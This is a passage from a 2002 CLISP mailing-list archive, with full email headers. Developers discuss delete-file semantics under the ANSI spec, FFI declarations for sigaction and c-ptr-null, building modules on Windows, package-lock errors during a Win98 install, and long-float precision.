signals an error of type > file-error if it does not. > > Which means that delete-file cannot return NIL. Clisp is > non-conformant here, yes. > as is Clisp returning the pathname of the deleted file. well, the pathname is "true", so this complies with the third paragraph you site (but not with the first one). I think returning the path of the deleted file is a useful extension which cannot possibly break anything, but if you wish you may disable it when *ansi* is T. > A patch to delete-file is below. I've chosen to make delete-file on a > nonexistent file be an error. You may disagree as it does change > behaviour. the main problem with CLISP is that it barfs when the dir is bad, but returns NIL when the dir is good but the file is not there. as you said, this is inconsistent. I think that signaling an error should mean that "mission cannot be accomplished" (e.g., permission problems). I want CLISP to return the path of the file if it was found and deleted (or T if *ansi* is T), T if the file was not found (for any reason whatsoever) and signal an error when the file was found but could not be deleted. Could you please modify your patch to do this? (or convince me that I am wrong :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! You can have it good, soon or cheap. Pick two... From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 11 01:36:48 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kMEZ-0000ym-00 for ; Mon, 11 Mar 2002 01:36:47 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 11 Mar 2002 10:35:04 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Mar 2002 10:36:32 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execut ion: delete-file MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 01:37:02 2002 X-Original-Date: Mon, 11 Mar 2002 10:36:24 +0100 Hi, please don't add yet another behaviour variant depending on the symbol-macro-variable *ANSI*! Returning a pathname is IMHO within the ANSI specification (keyword: generalized boolean). > > According the CLHS, on delete-file > > delete-file filespec => t > > > > It is implementation-dependent whether an attempt to delete a > > nonexistent file is considered to be successful. > > > > delete-file returns true if it succeeds, or signals an > error of type > > file-error if it does not. > > as is Clisp [non-conformant] returning the pathname of the deleted file. > well, the pathname is "true", so this complies with the third > paragraph you site (but not with the first one). > I think returning the path of the deleted file is a useful extension > which cannot possibly break anything, but if you wish you may disable > it when *ansi* is T. No! let's stay serious. No more *ANSI* #ifdef. Prevent us from configuration nightmares. Let's keep software usable. Just stick to the third paragraph from CLHS (true means generalized boolean). The CLHS says http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_t.htm#true "true n. any object that is not false and that is used to represent the success of a predicate test. See t[1]." http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_g.htm#generalized_boolean "generalized boolean n. an object used as a truth value, where the symbol nil represents false and all other objects represent true. See boolean." > I want CLISP to return the path of the file if it was found and > deleted (or T if *ansi* is T), T if the file was not found (for any > reason whatsoever) and signal an error when the file was > found but could not be deleted. This "official" CLISP behaviour should then be sanctioned in impnotes so people know what to expect. http://www.xanalys.com/software_tools/reference/HyperSpec/Body/26_glo_i.htm#implementation-dependent "implementation-dependent adj. [...] A conforming implementation is encouraged (but not required) to document its treatment of each item in this specification which is marked implementation-dependent, [...]" DELETE-FILE is not currently mentioned in the impnotes. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 11 02:02:13 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kMd9-0006lX-00 for ; Mon, 11 Mar 2002 02:02:11 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 11 Mar 2002 10:59:58 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Mar 2002 11:01:26 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Building CLISP for Windows: modules MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 02:03:04 2002 X-Original-Date: Mon, 11 Mar 2002 11:01:18 +0100 Hi, > > o genclisph.exe and as a consequence clisp.h are not generated and > > there's even no makefile target for them. > > Did anyone ever build a module on MS-windows? > > IIUC, you need add an interface to LoadLibrary (win32 version > of dlopen) to spvw.d:dynload_modules(). > Bruno proposed using libltdl from GNU libtool. No, modules are usable on MS-Windows as well, even if possibly nobody ever did so. It's independent from the ability to load shared libraries via LoadLibrary() libtool, or dynload_modules. I built a module last week and wrote a nearly finished article this weekend, documenting how CLISP modules work and how to put them to use. BTW, what's a good place to publish CLISP documentation or CLISP specific articles? I feel this is too specific for the cookbook. > would you like to do this? As I've laid out in my article on FFI design (a few people received drafts), I consider the addition of a dynamic loading facility and API not a trivial concept to define. Implementaion would be easy. There have been thoughts on this five years ago, and again in 1999. Nothing usable came yet out of this... Maybe I should take a worse is better approach -- again. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 11 04:18:50 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kOlL-0001AB-00 for ; Mon, 11 Mar 2002 04:18:47 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 11 Mar 2002 13:16:58 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 11 Mar 2002 13:18:25 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigaction for linux.lisp MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 04:19:17 2002 X-Original-Date: Mon, 11 Mar 2002 13:18:20 +0100 Hi, Peter Wood wrote: > A peculiarity which may be a bug in the ffi was this: The sa_flags > member in a sigaction structure is declared (in C) as an int. However > Clisp reported that it could not coerce SA_RESETHAND (reset to default > handler) to an ffi:int. [...] > SA_RESETHAND is defined as #x80000000. Changing ffi:int to ffi:uint32 > in the ffi definition for the sigact struct solved the problem. Why > does it work in C if SA_RESETHAND is too large. There may be a > problem here, or am I missing something. The essence is: get the C programmers to get their declarations right! File a bug-report to Linux, Sun, BSD or whoever. You know, "unsigned int" is just so much more to type than "int" :-( It's a typical C disease to say int when they mean unsigned, and int when they mean int32. At least, C people finally managed to provide size_t and offset_t as unsigned types! 0x8000000 is an unsigned AFAIK. It's typical of C not to complain that it doesn't fit into a *signed* 32bit int. Don't even think of having CLISP silently coerce the range -2^31 to 2^32-1 into 0-2^32-1! It will give you headaches as follows: on input, you may pass (- (expt 2 31)), but on return, you'll get (- (expt 2 32) -1), or vice versa. Then people will complain that (= input output) works in typical C code (minus a warning from better compilers) whereas it caused them hours of debugging Lisp code. The C declaration is at fault, not Lisp, nor the FFI! C programmers ought to use unsigned types whereever they makes sense, and esp. for bit masks. > Obviously, the sigaction stuff has not been _rigorously_ tested. Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input. Sadly, there's no way to pass in a NULL pointer for :out parameters. You still need two different DEF-CALL-OUT forms for that. > You should probably be > careful in case there is some unknown problem. Bruno Haible should be able to comment upon the ability to run Lisp code from within a signal handler on the various UNIX platforms. It may get hairy. > a sigaction struct can be (in C) either a pointer to a function, or an > int! [...] If it was a > c function, I would split it into 2 cases, for handling the different > types, but what does one do when it's a struct!? Good problem. ffi:c-union wont's help here, since CLISP says "Conversion to and from Lisp assumes that a value is to be viewed as being of c-type1." It's a known (to me) FFI problem. What I had done in AFFI would have been to selectively dereference the slots. I believe this requires an extension to FOREIGN-VARIABLES in the current FFI. Redesign of the FFI is an open topic. FOREIGN-CALL-OUT should provide means to return FOREIGN-VARIABLE types instead of converting immediately to Lisp objects. Then you could use CAST and FOREIGN-VALUE. Regards, Jorg Hohle. From samuel.steingold@verizon.net Mon Mar 11 08:49:44 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kSzX-0005Dy-00 for ; Mon, 11 Mar 2002 08:49:43 -0800 Received: from gnu.org ([151.203.227.220]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020311164951.XILX24554.out007.verizon.net@gnu.org>; Mon, 11 Mar 2002 10:49:51 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Building CLISP for Windows: modules References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 08:50:04 2002 X-Original-Date: 11 Mar 2002 11:45:41 -0500 > * In message > * On the subject of "[clisp-list] Re: Building CLISP for Windows: modules" > * Sent on Mon, 11 Mar 2002 11:01:18 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > No, modules are usable on MS-Windows as well, even if possibly nobody > ever did so. It's independent from the ability to load shared > libraries via LoadLibrary() libtool, or dynload_modules. I built a > module last week and wrote a nearly finished article this weekend, > documenting how CLISP modules work and how to put them to use. great! > BTW, what's a good place to publish CLISP documentation or CLISP > specific articles? I feel this is too specific for the cookbook. this should go into the impnotes. please see doc/impext.xml. > > would you like to do this? > As I've laid out in my article on FFI design (a few people received > drafts), I consider the addition of a dynamic loading facility and API > not a trivial concept to define. Implementaion would be easy. There > have been thoughts on this five years ago, and again in 1999. Nothing > usable came yet out of this... Maybe I should take a worse is better > approach -- again. I take it for a "yes" and awaiting patches. :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Don't hit a man when he's down -- kick him; it's easier. From peter.wood@worldonline.dk Mon Mar 11 10:04:10 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kU9Y-0006b4-00 for ; Mon, 11 Mar 2002 10:04:08 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id DDB02B4F2 for ; Mon, 11 Mar 2002 19:04:02 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2BHoMA20183; Mon, 11 Mar 2002 18:50:22 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigaction for linux.lisp Message-ID: <20020311185022.A9869@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Mon, Mar 11, 2002 at 01:18:20PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 10:05:05 2002 X-Original-Date: Mon, 11 Mar 2002 18:50:22 +0100 Hi, On Mon, Mar 11, 2002 at 01:18:20PM +0100, Hoehle, Joerg-Cyril wrote: > The C declaration is at fault, not Lisp, nor the FFI! > C programmers ought to use unsigned types whereever they makes sense, and esp. for bit masks. OK :-) > > > > Obviously, the sigaction stuff has not been _rigorously_ tested. > > Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input. > Here is the way I defined them, followed by the way I assume you are saying c-ptr-null should be used, but which doesn't work! (def-c-call-out sigaction-new (:name "sigaction") (:arguments (sig int) (act (c-ptr sigaction) :in :alloca) (null c-string)) ;nil (:return-type int)) ;eg (sigaction SIGINT newhandler nil) => 0 (def-c-call-out sigaction-query ;if 2nd & 3rd args are null, query if signal SIG is valid (:name "sigaction") (:arguments (sig int) (null c-string) ;nil (null c-string)) ;null (:return-type int)) ;eg (linux:sigaction-query linux:SIGINT nil nil) => 0 ;;this _doesn't_ work (def-c-call-out sigaction-new-or-query (:name "sigaction") (:arguments (sig int) (act (c-ptr-null sigaction) :in :alloca) (null c-string)) (:return-type int)) I get an error on attempted compilation as follows: ***invalid ffi type (c-ptr-null sigaction) I get the same error if I leave out the :in :alloca, and (other) predictable errors when I use it in ways which don't conform to the documentation. And I don't know how else I could write it to make use of c-ptr-null. The documentation says that c-ptr-null is like c-ptr but that C NULL corresponds to Lisp NIL. The 'declaration' is (c-ptr-null c-type) according to the impnotes. How should it be used? Regards, Peter From samuel.steingold@verizon.net Mon Mar 11 10:14:09 2002 Received: from out019pub.verizon.net ([206.46.170.98] helo=out019.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kUJA-0000IM-00 for ; Mon, 11 Mar 2002 10:14:04 -0800 Received: from gnu.org ([151.203.227.220]) by out019.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020311181402.YSNH26581.out019.verizon.net@gnu.org>; Mon, 11 Mar 2002 12:14:02 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] tiny suggestion about foreign1.lisp (FFI) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 10:15:02 2002 X-Original-Date: 11 Mar 2002 13:10:10 -0500 > * In message > * On the subject of "[clisp-list] tiny suggestion about foreign1.lisp (FFI)" > * Sent on Fri, 8 Mar 2002 10:58:11 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > :language defaults to :C (flag 512) for functions defined via > (c-function ...). > > I propose > 1. document the default ("Choice of C flavour") in impnotes.html > 2. change the default to :stdc (ANSI) instead of :C (K&R) done. DEF-C-CALL-* are now deprecated and the default should be set using DEFAULT-FOREIGN-LANGUAGE (just like IN-PACKAGE). If no DEFAULT-FOREIGN-LANGUAGE form is given, a warning is issued and :STDC is used. > 3. please document what :stdc-stdcall means. this is a dos/windows specific extension to :stdc, I think. not really implemented :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! He who laughs last thinks slowest. From peter.wood@worldonline.dk Mon Mar 11 12:49:09 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kWjD-0003c4-00 for ; Mon, 11 Mar 2002 12:49:07 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 90AB7B508 for ; Mon, 11 Mar 2002 21:49:03 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2BKZjD21528; Mon, 11 Mar 2002 21:35:45 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigaction for linux.lisp - GOT IT Message-ID: <20020311213545.A21512@localhost.localdomain> References: <20020311185022.A9869@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020311185022.A9869@localhost.localdomain>; from peter.wood@worldonline.dk on Mon, Mar 11, 2002 at 06:50:22PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 12:50:02 2002 X-Original-Date: Mon, 11 Mar 2002 21:35:45 +0100 On Mon, Mar 11, 2002 at 06:50:22PM +0100, Peter Wood wrote: > Hi, > > On Mon, Mar 11, 2002 at 01:18:20PM +0100, Hoehle, Joerg-Cyril wrote: > > > > > Your three definitions sigaction-new/old/query only require only two. You could merge sigaction-new and query. Please advantage of c-ptr-null (instead of c-ptr) to pass NIL on input. > > And I replied with an incorrect assumption: > > Here is the way I defined them, followed by the way I assume you are > saying c-ptr-null should be used, but which doesn't work! ... > ;;this _doesn't_ work > > (def-c-call-out sigaction-new-or-query > (:name "sigaction") > (:arguments (sig int) > (act (c-ptr-null sigaction) :in :alloca) > (null c-string)) > (:return-type int)) > > I get an error on attempted compilation as follows: > > ***invalid ffi type (c-ptr-null sigaction) But this does: (def-c-call-out sigaction-new-or-query (:name "sigaction") (:arguments (sig int) (act (c-ptr-null nil) :in :alloca) (null c-string)) (:return-type int)) And the reason I was getting the error message described, was that I had forgotten to add c-ptr-null to the list of substitutions in linux.lisp. AAAAARGH. Thanks for your suggestions - this has also solved (one of the) problems which I am having in a module I am writing. Regards, Peter From pjb@arcangel.dircon.co.uk Mon Mar 11 14:29:41 2002 Received: from mta01-svc.ntlworld.com ([62.253.162.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kYIT-00023b-00 for ; Mon, 11 Mar 2002 14:29:37 -0800 Received: from proxyplus.universe ([62.255.207.59]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020311222931.PZD9422.mta01-svc.ntlworld.com@proxyplus.universe> for ; Mon, 11 Mar 2002 22:29:31 +0000 Received: from 127.0.0.1 by Proxy+; Mon, 11 Mar 2002 22:28:55 GMT To: clisp-list@lists.sourceforge.net References: From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "10 Mar 2002 23:10:02 -0500" Message-ID: Lines: 26 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: gethostent does not exist in cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 14:30:08 2002 X-Original-Date: 11 Mar 2002 22:28:54 +0000 Sam Steingold writes: > > * In message > > * On the subject of "Re: gethostent does not exist in cygwin" > > * Sent on 10 Mar 2002 03:22:57 +0000 > > * Honorable Peter Burwood writes: > > > > Sam Steingold writes: > > > > > $ make -f Makefile.devel src/configure > > > > but if not, when should which targets in Makefile.devel be made before > > just calling ./configure? > > look at the dependencies in Makefile.devel. For a once off, this is ok. However, it is not really workable when using cvs up as it would require examing the update which files have changed. > I wonder if these should be reflected in the makefile produced by > makemake... Sounds useful. Can you do this please? Peter From helmut.leitner@chello.at Mon Mar 11 14:47:55 2002 Received: from viefep15-int.chello.at ([213.46.255.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kYa9-0006ox-00 for ; Mon, 11 Mar 2002 14:47:53 -0800 Received: from chello.at ([212.186.192.182]) by viefep15-int.chello.at (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP id <20020311224745.QIKX1239.viefep15-int.chello.at@chello.at> for ; Mon, 11 Mar 2002 23:47:45 +0100 Message-ID: <3C8D33C5.19419C62@chello.at> From: Helmut Leitner Organization: HLS X-Mailer: Mozilla 4.79 [en]C-CCK-MCD (Win98; U) X-Accept-Language: en,de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] CLISP-2.28 Win98 Installation Problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 14:48:13 2002 X-Original-Date: Mon, 11 Mar 2002 23:46:29 +0100 I try to install CLISP 2.28 on my Windows 98 system. But [1]> (compile-file "src/config.lisp") results in: Compiling file C:\P\CLISP\clisp-2.28\src\config.lisp ... ** - Continuable Error INTERN("FILE"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break EXT[2]> I am able to continue (and , but then the next command (load "src/config.fas") leads to uncontinuable errors: 1. Break EXT[2]> continue Compilation of file C:\P\CLISP\clisp-2.28\src\config.lisp is finished. 0 errors, 0 warnings #P"C:\\P\\CLISP\\clisp-2.28\\src\\config.fas" ; NIL ; NIL [3]> (load "src/config.fas") ;; Loading file src\config.fas ... ** - Continuable Error DEFUN/DEFMACRO(SHORT-SITE-NAME): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break EXT[4]> Can anyone explain and help? -- Helmut Leitner leitner@hls.via.at Graz, Austria www.hls-software.com From keithr@ssd.fsi.com Mon Mar 11 14:59:58 2002 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kYlo-0001kI-00 for ; Mon, 11 Mar 2002 14:59:56 -0800 Message-ID: From: "Rehm, Keith" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] long-float Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 15:00:11 2002 X-Original-Date: Mon, 11 Mar 2002 16:59:48 -0600 if: (setf (ext:long-float-digits) 3322) ;;clisp -- make long-float have 1000 digits (defparameter *x1* 0.0L0) (defparameter *x2* 0.0L0) (declaim (type long-float *x1* *x2*)) (setf *x1* 0.12345671234567123456712345671234567123456712345671234567123456712345671234 5671234567123456712345671234567L0) (setf *x2* 0.32132132132132132132132132132132132132132132132132132132132132132132132132 1321321321321321321321321321321L0) why does (format t "~52,50F" *x1*) => 0.12345671234567123457000000000000000000000000000000 I am thinking no zeros should show up? when I (the long-float (+ *x1* *x2*)) its seems the answer is truncated where those zeroes begin. [8]> (the long-float (+ *x1* *x2*)) 0.4447780336669925559L0 what am I doing wrong? thank you, Keith From samuel.steingold@verizon.net Mon Mar 11 15:12:51 2002 Received: from out020pub.verizon.net ([206.46.170.176] helo=out020.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kYyI-0006Lo-00 for ; Mon, 11 Mar 2002 15:12:50 -0800 Received: from gnu.org ([151.203.227.220]) by out020.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020311231247.FXK18010.out020.verizon.net@gnu.org>; Mon, 11 Mar 2002 17:12:47 -0600 To: Helmut Leitner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP-2.28 Win98 Installation Problem References: <3C8D33C5.19419C62@chello.at> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3C8D33C5.19419C62@chello.at> Message-ID: Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 15:13:20 2002 X-Original-Date: 11 Mar 2002 18:08:48 -0500 > * In message <3C8D33C5.19419C62@chello.at> > * On the subject of "[clisp-list] CLISP-2.28 Win98 Installation Problem" > * Sent on Mon, 11 Mar 2002 23:46:29 +0100 > * Honorable Helmut Leitner writes: > > I try to install CLISP 2.28 on my Windows 98 system. > > But > [1]> (compile-file "src/config.lisp") this step is optional. > results in: > Compiling file C:\P\CLISP\clisp-2.28\src\config.lisp ... > ** - Continuable Error > INTERN("FILE"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break EXT[2]> > > I am able to continue (and , but then the next command > (load "src/config.fas") > leads to uncontinuable errors: where? > 1. Break EXT[2]> continue > > Compilation of file C:\P\CLISP\clisp-2.28\src\config.lisp is finished. > 0 errors, 0 warnings > #P"C:\\P\\CLISP\\clisp-2.28\\src\\config.fas" ; > NIL ; > NIL > [3]> (load "src/config.fas") > ;; Loading file src\config.fas ... > ** - Continuable Error > DEFUN/DEFMACRO(SHORT-SITE-NAME): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > 1. Break EXT[4]> > > Can anyone explain and help? this is continuable too! Please see for information on package locking. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Every day above ground is a good day. From pjb@arcangel.dircon.co.uk Mon Mar 11 15:13:01 2002 Received: from mta01-svc.ntlworld.com ([62.253.162.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16kYwv-0005t6-00 for ; Mon, 11 Mar 2002 15:11:25 -0800 Received: from proxyplus.universe ([62.255.68.147]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020311231120.BSVH9422.mta01-svc.ntlworld.com@proxyplus.universe> for ; Mon, 11 Mar 2002 23:11:20 +0000 Received: from 127.0.0.1 by Proxy+; Mon, 11 Mar 2002 23:10:52 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution References: <5.1.0.14.0.20020309161014.00a0e760@pop3.terra.es> From: Peter Burwood Mail-Copies-To: never In-Reply-To: Sam Steingold's message of "10 Mar 2002 23:53:08 -0500" Message-ID: Lines: 116 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 11 15:13:31 2002 X-Original-Date: 11 Mar 2002 23:10:51 +0000 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] File error in clisp 2.28/cygwin testsuite execution" > > * Sent on 10 Mar 2002 21:30:59 +0000 > > * Honorable Peter Burwood writes: > > > > Sam Steingold writes: > > > > > > 2002-03-10 Peter Burwood > > > > * pathname.d (realpath): Favour ENOTDIR rather than EINVAL for Cygwin. > > committed -- thanks! > [Bruno, this fixes a cygwin-specific bug] > > incidentally, why is CLISP implementing its own realpath? > is the system one known to be deficient in any way? Well the Cygwin version is not equivalent to the CLISP one and is arguably broken. Perhaps years ago when realpath was written it was unusual to find it in the library. I presume a suitable set of tests could be written for configure to decide whether the OS implementation is sufficient. > > According the CLHS, on delete-file > > > > delete-file filespec => t > > > > It is implementation-dependent whether an 